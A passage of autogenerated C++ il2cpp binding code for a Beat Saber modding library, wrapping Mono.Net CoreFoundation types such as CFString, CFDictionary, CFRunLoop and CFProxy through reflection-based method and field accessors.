::Logger::get().WithContext("::Mono::Net::CFArray::get_Count"); static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "get_Count", std::vector{}, ::std::vector{}))); return ::il2cpp_utils::RunMethodRethrow(this, ___internal__method); } // Autogenerated method: Mono.Net.CFArray.get_Item ::System::IntPtr Mono::Net::CFArray::get_Item(int index) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Net::CFArray::get_Item"); static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "get_Item", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(index)}))); return ::il2cpp_utils::RunMethodRethrow<::System::IntPtr, false>(this, ___internal__method, index); } // Autogenerated method: Mono.Net.CFArray..cctor void Mono::Net::CFArray::_cctor() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Net::CFArray::.cctor"); static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod("Mono.Net", "CFArray", ".cctor", std::vector{}, ::std::vector{}))); ::il2cpp_utils::RunMethodRethrow(static_cast(nullptr), ___internal__method); } // Autogenerated method: Mono.Net.CFArray.CFArrayGetCount ::System::IntPtr Mono::Net::CFArray::CFArrayGetCount(::System::IntPtr handle) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Net::CFArray::CFArrayGetCount"); static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod("Mono.Net", "CFArray", "CFArrayGetCount", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(handle)}))); return ::il2cpp_utils::RunMethodRethrow<::System::IntPtr, false>(static_cast(nullptr), ___internal__method, handle); } // Autogenerated method: Mono.Net.CFArray.CFArrayGetValueAtIndex ::System::IntPtr Mono::Net::CFArray::CFArrayGetValueAtIndex(::System::IntPtr handle, ::System::IntPtr index) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Net::CFArray::CFArrayGetValueAtIndex"); static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod("Mono.Net", "CFArray", "CFArrayGetValueAtIndex", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(handle), ::il2cpp_utils::ExtractType(index)}))); return ::il2cpp_utils::RunMethodRethrow<::System::IntPtr, false>(static_cast(nullptr), ___internal__method, handle, index); } // Autogenerated from CppSourceCreator // Created by Sc2ad // ========================================================================= // Begin includes // Including type: Mono.Net.CFNumber #include "Mono/Net/CFNumber.hpp" #include "beatsaber-hook/shared/utils/il2cpp-utils.hpp" #include "beatsaber-hook/shared/utils/utils.h" // Completed includes // Autogenerated method: Mono.Net.CFNumber.CFNumberGetValue bool Mono::Net::CFNumber::CFNumberGetValue(::System::IntPtr handle, ::System::IntPtr type, ByRef value) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Net::CFNumber::CFNumberGetValue"); static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod("Mono.Net", "CFNumber", "CFNumberGetValue", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(handle), ::il2cpp_utils::ExtractType(type), ::il2cpp_utils::ExtractIndependentType()}))); return ::il2cpp_utils::RunMethodRethrow(static_cast(nullptr), ___internal__method, handle, type, byref(value)); } // Autogenerated method: Mono.Net.CFNumber.AsInt32 int Mono::Net::CFNumber::AsInt32(::System::IntPtr handle) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Net::CFNumber::AsInt32"); static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod("Mono.Net", "CFNumber", "AsInt32", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(handle)}))); return ::il2cpp_utils::RunMethodRethrow(static_cast(nullptr), ___internal__method, handle); } // Autogenerated from CppSourceCreator // Created by Sc2ad // ========================================================================= // Begin includes // Including type: Mono.Net.CFRange #include "Mono/Net/CFRange.hpp" #include "beatsaber-hook/shared/utils/il2cpp-utils.hpp" #include "beatsaber-hook/shared/utils/utils.h" // Completed includes // Autogenerated instance field getter // Get instance field: public System.IntPtr Location ::System::IntPtr& Mono::Net::CFRange::dyn_Location() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Net::CFRange::dyn_Location"); auto ___internal__instance = *this; static auto ___internal__field__offset = THROW_UNLESS(il2cpp_utils::FindField(___internal__instance, "Location"))->offset; return *reinterpret_cast<::System::IntPtr*>(reinterpret_cast(this) + ___internal__field__offset); } // Autogenerated instance field getter // Get instance field: public System.IntPtr Length ::System::IntPtr& Mono::Net::CFRange::dyn_Length() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Net::CFRange::dyn_Length"); auto ___internal__instance = *this; static auto ___internal__field__offset = THROW_UNLESS(il2cpp_utils::FindField(___internal__instance, "Length"))->offset; return *reinterpret_cast<::System::IntPtr*>(reinterpret_cast(this) + ___internal__field__offset); } // Autogenerated method: Mono.Net.CFRange..ctor Mono::Net::CFRange::CFRange(int loc, int len) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Net::CFRange::.ctor"); static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(*this, ".ctor", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(loc), ::il2cpp_utils::ExtractType(len)}))); ::il2cpp_utils::RunMethodRethrow(this, ___internal__method, loc, len); } // Autogenerated from CppSourceCreator // Created by Sc2ad // ========================================================================= // Begin includes // Including type: Mono.Net.CFString #include "Mono/Net/CFString.hpp" // Including type: Mono.Net.CFRange #include "Mono/Net/CFRange.hpp" #include "beatsaber-hook/shared/utils/il2cpp-utils.hpp" #include "beatsaber-hook/shared/utils/utils.h" // Completed includes // Autogenerated instance field getter // Get instance field: private System.String str ::StringW& Mono::Net::CFString::dyn_str() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Net::CFString::dyn_str"); auto ___internal__instance = this; static auto ___internal__field__offset = THROW_UNLESS(il2cpp_utils::FindField(___internal__instance, "str"))->offset; return *reinterpret_cast<::StringW*>(reinterpret_cast(this) + ___internal__field__offset); } // Autogenerated method: Mono.Net.CFString.CFStringCreateWithCharacters ::System::IntPtr Mono::Net::CFString::CFStringCreateWithCharacters(::System::IntPtr alloc, ::System::IntPtr chars, ::System::IntPtr length) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Net::CFString::CFStringCreateWithCharacters"); static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod("Mono.Net", "CFString", "CFStringCreateWithCharacters", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(alloc), ::il2cpp_utils::ExtractType(chars), ::il2cpp_utils::ExtractType(length)}))); return ::il2cpp_utils::RunMethodRethrow<::System::IntPtr, false>(static_cast(nullptr), ___internal__method, alloc, chars, length); } // Autogenerated method: Mono.Net.CFString.Create ::Mono::Net::CFString* Mono::Net::CFString::Create(::StringW value) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Net::CFString::Create"); static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod("Mono.Net", "CFString", "Create", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(value)}))); return ::il2cpp_utils::RunMethodRethrow<::Mono::Net::CFString*, false>(static_cast(nullptr), ___internal__method, value); } // Autogenerated method: Mono.Net.CFString.CFStringGetLength ::System::IntPtr Mono::Net::CFString::CFStringGetLength(::System::IntPtr handle) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Net::CFString::CFStringGetLength"); static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod("Mono.Net", "CFString", "CFStringGetLength", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(handle)}))); return ::il2cpp_utils::RunMethodRethrow<::System::IntPtr, false>(static_cast(nullptr), ___internal__method, handle); } // Autogenerated method: Mono.Net.CFString.CFStringGetCharactersPtr ::System::IntPtr Mono::Net::CFString::CFStringGetCharactersPtr(::System::IntPtr handle) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Net::CFString::CFStringGetCharactersPtr"); static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod("Mono.Net", "CFString", "CFStringGetCharactersPtr", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(handle)}))); return ::il2cpp_utils::RunMethodRethrow<::System::IntPtr, false>(static_cast(nullptr), ___internal__method, handle); } // Autogenerated method: Mono.Net.CFString.CFStringGetCharacters ::System::IntPtr Mono::Net::CFString::CFStringGetCharacters(::System::IntPtr handle, ::Mono::Net::CFRange range, ::System::IntPtr buffer) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Net::CFString::CFStringGetCharacters"); static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod("Mono.Net", "CFString", "CFStringGetCharacters", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(handle), ::il2cpp_utils::ExtractType(range), ::il2cpp_utils::ExtractType(buffer)}))); return ::il2cpp_utils::RunMethodRethrow<::System::IntPtr, false>(static_cast(nullptr), ___internal__method, handle, range, buffer); } // Autogenerated method: Mono.Net.CFString.AsString ::StringW Mono::Net::CFString::AsString(::System::IntPtr handle) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Net::CFString::AsString"); static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod("Mono.Net", "CFString", "AsString", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(handle)}))); return ::il2cpp_utils::RunMethodRethrow<::StringW, false>(static_cast(nullptr), ___internal__method, handle); } // Autogenerated method: Mono.Net.CFString.ToString ::StringW Mono::Net::CFString::ToString() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Net::CFString::ToString"); auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "ToString", std::vector{}, ::std::vector{}))); return ::il2cpp_utils::RunMethodRethrow<::StringW, false>(this, ___internal__method); } // Autogenerated from CppSourceCreator // Created by Sc2ad // ========================================================================= // Begin includes // Including type: Mono.Net.CFDictionary #include "Mono/Net/CFDictionary.hpp" #include "beatsaber-hook/shared/utils/il2cpp-utils.hpp" #include "beatsaber-hook/shared/utils/utils.h" // Completed includes // Autogenerated static field getter // Get static field: static private readonly System.IntPtr KeyCallbacks ::System::IntPtr Mono::Net::CFDictionary::_get_KeyCallbacks() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Net::CFDictionary::_get_KeyCallbacks"); return THROW_UNLESS(il2cpp_utils::GetFieldValue<::System::IntPtr>("Mono.Net", "CFDictionary", "KeyCallbacks")); } // Autogenerated static field setter // Set static field: static private readonly System.IntPtr KeyCallbacks void Mono::Net::CFDictionary::_set_KeyCallbacks(::System::IntPtr value) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Net::CFDictionary::_set_KeyCallbacks"); THROW_UNLESS(il2cpp_utils::SetFieldValue("Mono.Net", "CFDictionary", "KeyCallbacks", value)); } // Autogenerated static field getter // Get static field: static private readonly System.IntPtr ValueCallbacks ::System::IntPtr Mono::Net::CFDictionary::_get_ValueCallbacks() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Net::CFDictionary::_get_ValueCallbacks"); return THROW_UNLESS(il2cpp_utils::GetFieldValue<::System::IntPtr>("Mono.Net", "CFDictionary", "ValueCallbacks")); } // Autogenerated static field setter // Set static field: static private readonly System.IntPtr ValueCallbacks void Mono::Net::CFDictionary::_set_ValueCallbacks(::System::IntPtr value) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Net::CFDictionary::_set_ValueCallbacks"); THROW_UNLESS(il2cpp_utils::SetFieldValue("Mono.Net", "CFDictionary", "ValueCallbacks", value)); } // Autogenerated method: Mono.Net.CFDictionary.get_Item ::System::IntPtr Mono::Net::CFDictionary::get_Item(::System::IntPtr key) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Net::CFDictionary::get_Item"); static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "get_Item", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(key)}))); return ::il2cpp_utils::RunMethodRethrow<::System::IntPtr, false>(this, ___internal__method, key); } // Autogenerated method: Mono.Net.CFDictionary..cctor void Mono::Net::CFDictionary::_cctor() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Net::CFDictionary::.cctor"); static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod("Mono.Net", "CFDictionary", ".cctor", std::vector{}, ::std::vector{}))); ::il2cpp_utils::RunMethodRethrow(static_cast(nullptr), ___internal__method); } // Autogenerated method: Mono.Net.CFDictionary.CFDictionaryGetValue ::System::IntPtr Mono::Net::CFDictionary::CFDictionaryGetValue(::System::IntPtr handle, ::System::IntPtr key) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Net::CFDictionary::CFDictionaryGetValue"); static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod("Mono.Net", "CFDictionary", "CFDictionaryGetValue", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(handle), ::il2cpp_utils::ExtractType(key)}))); return ::il2cpp_utils::RunMethodRethrow<::System::IntPtr, false>(static_cast(nullptr), ___internal__method, handle, key); } // Autogenerated method: Mono.Net.CFDictionary.GetValue ::System::IntPtr Mono::Net::CFDictionary::GetValue(::System::IntPtr key) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Net::CFDictionary::GetValue"); static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "GetValue", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(key)}))); return ::il2cpp_utils::RunMethodRethrow<::System::IntPtr, false>(this, ___internal__method, key); } // Autogenerated from CppSourceCreator // Created by Sc2ad // ========================================================================= // Begin includes // Including type: Mono.Net.CFUrl #include "Mono/Net/CFUrl.hpp" #include "beatsaber-hook/shared/utils/il2cpp-utils.hpp" #include "beatsaber-hook/shared/utils/utils.h" // Completed includes // Autogenerated method: Mono.Net.CFUrl.CFURLCreateWithString ::System::IntPtr Mono::Net::CFUrl::CFURLCreateWithString(::System::IntPtr allocator, ::System::IntPtr str, ::System::IntPtr baseURL) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Net::CFUrl::CFURLCreateWithString"); static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod("Mono.Net", "CFUrl", "CFURLCreateWithString", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(allocator), ::il2cpp_utils::ExtractType(str), ::il2cpp_utils::ExtractType(baseURL)}))); return ::il2cpp_utils::RunMethodRethrow<::System::IntPtr, false>(static_cast(nullptr), ___internal__method, allocator, str, baseURL); } // Autogenerated method: Mono.Net.CFUrl.Create ::Mono::Net::CFUrl* Mono::Net::CFUrl::Create(::StringW absolute) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Net::CFUrl::Create"); static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod("Mono.Net", "CFUrl", "Create", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(absolute)}))); return ::il2cpp_utils::RunMethodRethrow<::Mono::Net::CFUrl*, false>(static_cast(nullptr), ___internal__method, absolute); } // Autogenerated from CppSourceCreator // Created by Sc2ad // ========================================================================= // Begin includes // Including type: Mono.Net.CFRunLoop #include "Mono/Net/CFRunLoop.hpp" // Including type: Mono.Net.CFString #include "Mono/Net/CFString.hpp" #include "beatsaber-hook/shared/utils/il2cpp-utils.hpp" #include "beatsaber-hook/shared/utils/utils.h" // Completed includes // Autogenerated method: Mono.Net.CFRunLoop.get_CurrentRunLoop ::Mono::Net::CFRunLoop* Mono::Net::CFRunLoop::get_CurrentRunLoop() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Net::CFRunLoop::get_CurrentRunLoop"); static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod("Mono.Net", "CFRunLoop", "get_CurrentRunLoop", std::vector{}, ::std::vector{}))); return ::il2cpp_utils::RunMethodRethrow<::Mono::Net::CFRunLoop*, false>(static_cast(nullptr), ___internal__method); } // Autogenerated method: Mono.Net.CFRunLoop.CFRunLoopAddSource void Mono::Net::CFRunLoop::CFRunLoopAddSource(::System::IntPtr rl, ::System::IntPtr source, ::System::IntPtr mode) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Net::CFRunLoop::CFRunLoopAddSource"); static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod("Mono.Net", "CFRunLoop", "CFRunLoopAddSource", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(rl), ::il2cpp_utils::ExtractType(source), ::il2cpp_utils::ExtractType(mode)}))); ::il2cpp_utils::RunMethodRethrow(static_cast(nullptr), ___internal__method, rl, source, mode); } // Autogenerated method: Mono.Net.CFRunLoop.CFRunLoopRemoveSource void Mono::Net::CFRunLoop::CFRunLoopRemoveSource(::System::IntPtr rl, ::System::IntPtr source, ::System::IntPtr mode) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Net::CFRunLoop::CFRunLoopRemoveSource"); static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod("Mono.Net", "CFRunLoop", "CFRunLoopRemoveSource", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(rl), ::il2cpp_utils::ExtractType(source), ::il2cpp_utils::ExtractType(mode)}))); ::il2cpp_utils::RunMethodRethrow(static_cast(nullptr), ___internal__method, rl, source, mode); } // Autogenerated method: Mono.Net.CFRunLoop.CFRunLoopRunInMode int Mono::Net::CFRunLoop::CFRunLoopRunInMode(::System::IntPtr mode, double seconds, bool returnAfterSourceHandled) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Net::CFRunLoop::CFRunLoopRunInMode"); static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod("Mono.Net", "CFRunLoop", "CFRunLoopRunInMode", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(mode), ::il2cpp_utils::ExtractType(seconds), ::il2cpp_utils::ExtractType(returnAfterSourceHandled)}))); return ::il2cpp_utils::RunMethodRethrow(static_cast(nullptr), ___internal__method, mode, seconds, returnAfterSourceHandled); } // Autogenerated method: Mono.Net.CFRunLoop.CFRunLoopGetCurrent ::System::IntPtr Mono::Net::CFRunLoop::CFRunLoopGetCurrent() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Net::CFRunLoop::CFRunLoopGetCurrent"); static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod("Mono.Net", "CFRunLoop", "CFRunLoopGetCurrent", std::vector{}, ::std::vector{}))); return ::il2cpp_utils::RunMethodRethrow<::System::IntPtr, false>(static_cast(nullptr), ___internal__method); } // Autogenerated method: Mono.Net.CFRunLoop.CFRunLoopStop void Mono::Net::CFRunLoop::CFRunLoopStop(::System::IntPtr rl) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Net::CFRunLoop::CFRunLoopStop"); static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod("Mono.Net", "CFRunLoop", "CFRunLoopStop", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(rl)}))); ::il2cpp_utils::RunMethodRethrow(static_cast(nullptr), ___internal__method, rl); } // Autogenerated method: Mono.Net.CFRunLoop.AddSource void Mono::Net::CFRunLoop::AddSource(::System::IntPtr source, ::Mono::Net::CFString* mode) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Net::CFRunLoop::AddSource"); static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "AddSource", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(source), ::il2cpp_utils::ExtractType(mode)}))); ::il2cpp_utils::RunMethodRethrow(this, ___internal__method, source, mode); } // Autogenerated method: Mono.Net.CFRunLoop.RemoveSource void Mono::Net::CFRunLoop::RemoveSource(::System::IntPtr source, ::Mono::Net::CFString* mode) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Net::CFRunLoop::RemoveSource"); static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "RemoveSource", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(source), ::il2cpp_utils::ExtractType(mode)}))); ::il2cpp_utils::RunMethodRethrow(this, ___internal__method, source, mode); } // Autogenerated method: Mono.Net.CFRunLoop.RunInMode int Mono::Net::CFRunLoop::RunInMode(::Mono::Net::CFString* mode, double seconds, bool returnAfterSourceHandled) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Net::CFRunLoop::RunInMode"); static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "RunInMode", std::vector{}, ::std::vector{::il2cpp_utils::ExtractType(mode), ::il2cpp_utils::ExtractType(seconds), ::il2cpp_utils::ExtractType(returnAfterSourceHandled)}))); return ::il2cpp_utils::RunMethodRethrow(this, ___internal__method, mode, seconds, returnAfterSourceHandled); } // Autogenerated method: Mono.Net.CFRunLoop.Stop void Mono::Net::CFRunLoop::Stop() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Net::CFRunLoop::Stop"); static auto* ___internal__method = THROW_UNLESS((::il2cpp_utils::FindMethod(this, "Stop", std::vector{}, ::std::vector{}))); ::il2cpp_utils::RunMethodRethrow(this, ___internal__method); } // Autogenerated from CppSourceCreator // Created by Sc2ad // ========================================================================= // Begin includes // Including type: Mono.Net.CFProxyType #include "Mono/Net/CFProxyType.hpp" #include "beatsaber-hook/shared/utils/il2cpp-utils.hpp" #include "beatsaber-hook/shared/utils/utils.h" // Completed includes // Autogenerated static field getter // Get static field: static public Mono.Net.CFProxyType None ::Mono::Net::CFProxyType Mono::Net::CFProxyType::_get_None() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Net::CFProxyType::_get_None"); return THROW_UNLESS(il2cpp_utils::GetFieldValue<::Mono::Net::CFProxyType>("Mono.Net", "CFProxyType", "None")); } // Autogenerated static field setter // Set static field: static public Mono.Net.CFProxyType None void Mono::Net::CFProxyType::_set_None(::Mono::Net::CFProxyType value) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Net::CFProxyType::_set_None"); THROW_UNLESS(il2cpp_utils::SetFieldValue("Mono.Net", "CFProxyType", "None", value)); } // Autogenerated static field getter // Get static field: static public Mono.Net.CFProxyType AutoConfigurationUrl ::Mono::Net::CFProxyType Mono::Net::CFProxyType::_get_AutoConfigurationUrl() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Net::CFProxyType::_get_AutoConfigurationUrl"); return THROW_UNLESS(il2cpp_utils::GetFieldValue<::Mono::Net::CFProxyType>("Mono.Net", "CFProxyType", "AutoConfigurationUrl")); } // Autogenerated static field setter // Set static field: static public Mono.Net.CFProxyType AutoConfigurationUrl void Mono::Net::CFProxyType::_set_AutoConfigurationUrl(::Mono::Net::CFProxyType value) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Net::CFProxyType::_set_AutoConfigurationUrl"); THROW_UNLESS(il2cpp_utils::SetFieldValue("Mono.Net", "CFProxyType", "AutoConfigurationUrl", value)); } // Autogenerated static field getter // Get static field: static public Mono.Net.CFProxyType AutoConfigurationJavaScript ::Mono::Net::CFProxyType Mono::Net::CFProxyType::_get_AutoConfigurationJavaScript() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Net::CFProxyType::_get_AutoConfigurationJavaScript"); return THROW_UNLESS(il2cpp_utils::GetFieldValue<::Mono::Net::CFProxyType>("Mono.Net", "CFProxyType", "AutoConfigurationJavaScript")); } // Autogenerated static field setter // Set static field: static public Mono.Net.CFProxyType AutoConfigurationJavaScript void Mono::Net::CFProxyType::_set_AutoConfigurationJavaScript(::Mono::Net::CFProxyType value) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Net::CFProxyType::_set_AutoConfigurationJavaScript"); THROW_UNLESS(il2cpp_utils::SetFieldValue("Mono.Net", "CFProxyType", "AutoConfigurationJavaScript", value)); } // Autogenerated static field getter // Get static field: static public Mono.Net.CFProxyType FTP ::Mono::Net::CFProxyType Mono::Net::CFProxyType::_get_FTP() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Net::CFProxyType::_get_FTP"); return THROW_UNLESS(il2cpp_utils::GetFieldValue<::Mono::Net::CFProxyType>("Mono.Net", "CFProxyType", "FTP")); } // Autogenerated static field setter // Set static field: static public Mono.Net.CFProxyType FTP void Mono::Net::CFProxyType::_set_FTP(::Mono::Net::CFProxyType value) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Net::CFProxyType::_set_FTP"); THROW_UNLESS(il2cpp_utils::SetFieldValue("Mono.Net", "CFProxyType", "FTP", value)); } // Autogenerated static field getter // Get static field: static public Mono.Net.CFProxyType HTTP ::Mono::Net::CFProxyType Mono::Net::CFProxyType::_get_HTTP() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Net::CFProxyType::_get_HTTP"); return THROW_UNLESS(il2cpp_utils::GetFieldValue<::Mono::Net::CFProxyType>("Mono.Net", "CFProxyType", "HTTP")); } // Autogenerated static field setter // Set static field: static public Mono.Net.CFProxyType HTTP void Mono::Net::CFProxyType::_set_HTTP(::Mono::Net::CFProxyType value) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Net::CFProxyType::_set_HTTP"); THROW_UNLESS(il2cpp_utils::SetFieldValue("Mono.Net", "CFProxyType", "HTTP", value)); } // Autogenerated static field getter // Get static field: static public Mono.Net.CFProxyType HTTPS ::Mono::Net::CFProxyType Mono::Net::CFProxyType::_get_HTTPS() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Net::CFProxyType::_get_HTTPS"); return THROW_UNLESS(il2cpp_utils::GetFieldValue<::Mono::Net::CFProxyType>("Mono.Net", "CFProxyType", "HTTPS")); } // Autogenerated static field setter // Set static field: static public Mono.Net.CFProxyType HTTPS void Mono::Net::CFProxyType::_set_HTTPS(::Mono::Net::CFProxyType value) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Net::CFProxyType::_set_HTTPS"); THROW_UNLESS(il2cpp_utils::SetFieldValue("Mono.Net", "CFProxyType", "HTTPS", value)); } // Autogenerated static field getter // Get static field: static public Mono.Net.CFProxyType SOCKS ::Mono::Net::CFProxyType Mono::Net::CFProxyType::_get_SOCKS() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Net::CFProxyType::_get_SOCKS"); return THROW_UNLESS(il2cpp_utils::GetFieldValue<::Mono::Net::CFProxyType>("Mono.Net", "CFProxyType", "SOCKS")); } // Autogenerated static field setter // Set static field: static public Mono.Net.CFProxyType SOCKS void Mono::Net::CFProxyType::_set_SOCKS(::Mono::Net::CFProxyType value) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Net::CFProxyType::_set_SOCKS"); THROW_UNLESS(il2cpp_utils::SetFieldValue("Mono.Net", "CFProxyType", "SOCKS", value)); } // Autogenerated instance field getter // Get instance field: public System.Int32 value__ int& Mono::Net::CFProxyType::dyn_value__() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Net::CFProxyType::dyn_value__"); auto ___internal__instance = *this; static auto ___internal__field__offset = THROW_UNLESS(il2cpp_utils::FindField(___internal__instance, "value__"))->offset; return *reinterpret_cast(reinterpret_cast(this) + ___internal__field__offset); } // Autogenerated from CppSourceCreator // Created by Sc2ad // ========================================================================= // Begin includes // Including type: Mono.Net.CFProxy #include "Mono/Net/CFProxy.hpp" // Including type: Mono.Net.CFDictionary #include "Mono/Net/CFDictionary.hpp" // Including type: Mono.Net.CFProxyType #include "Mono/Net/CFProxyType.hpp" #include "beatsaber-hook/shared/utils/il2cpp-utils.hpp" #include "beatsaber-hook/shared/utils/utils.h" // Completed includes // Autogenerated static field getter // Get static field: static private System.IntPtr kCFProxyAutoConfigurationJavaScriptKey ::System::IntPtr Mono::Net::CFProxy::_get_kCFProxyAutoConfigurationJavaScriptKey() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Net::CFProxy::_get_kCFProxyAutoConfigurationJavaScriptKey"); return THROW_UNLESS(il2cpp_utils::GetFieldValue<::System::IntPtr>("Mono.Net", "CFProxy", "kCFProxyAutoConfigurationJavaScriptKey")); } // Autogenerated static field setter // Set static field: static private System.IntPtr kCFProxyAutoConfigurationJavaScriptKey void Mono::Net::CFProxy::_set_kCFProxyAutoConfigurationJavaScriptKey(::System::IntPtr value) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Net::CFProxy::_set_kCFProxyAutoConfigurationJavaScriptKey"); THROW_UNLESS(il2cpp_utils::SetFieldValue("Mono.Net", "CFProxy", "kCFProxyAutoConfigurationJavaScriptKey", value)); } // Autogenerated static field getter // Get static field: static private System.IntPtr kCFProxyAutoConfigurationURLKey ::System::IntPtr Mono::Net::CFProxy::_get_kCFProxyAutoConfigurationURLKey() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Net::CFProxy::_get_kCFProxyAutoConfigurationURLKey"); return THROW_UNLESS(il2cpp_utils::GetFieldValue<::System::IntPtr>("Mono.Net", "CFProxy", "kCFProxyAutoConfigurationURLKey")); } // Autogenerated static field setter // Set static field: static private System.IntPtr kCFProxyAutoConfigurationURLKey void Mono::Net::CFProxy::_set_kCFProxyAutoConfigurationURLKey(::System::IntPtr value) { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Net::CFProxy::_set_kCFProxyAutoConfigurationURLKey"); THROW_UNLESS(il2cpp_utils::SetFieldValue("Mono.Net", "CFProxy", "kCFProxyAutoConfigurationURLKey", value)); } // Autogenerated static field getter // Get static field: static private System.IntPtr kCFProxyHostNameKey ::System::IntPtr Mono::Net::CFProxy::_get_kCFProxyHostNameKey() { static auto ___internal__logger = ::Logger::get().WithContext("::Mono::Net::CFProxy::_get_kCFProxyHostNameKey"); return THROW_UNLESS(il2cpp_utils::GetFieldValue<::System::IntPtr>("Mono.Net", "CFProxy", "kCFProxyHostNameKey")); } // Autogenerated static field setter // Set static field: static private System.IntPtr kCFProxyHostNameKey void 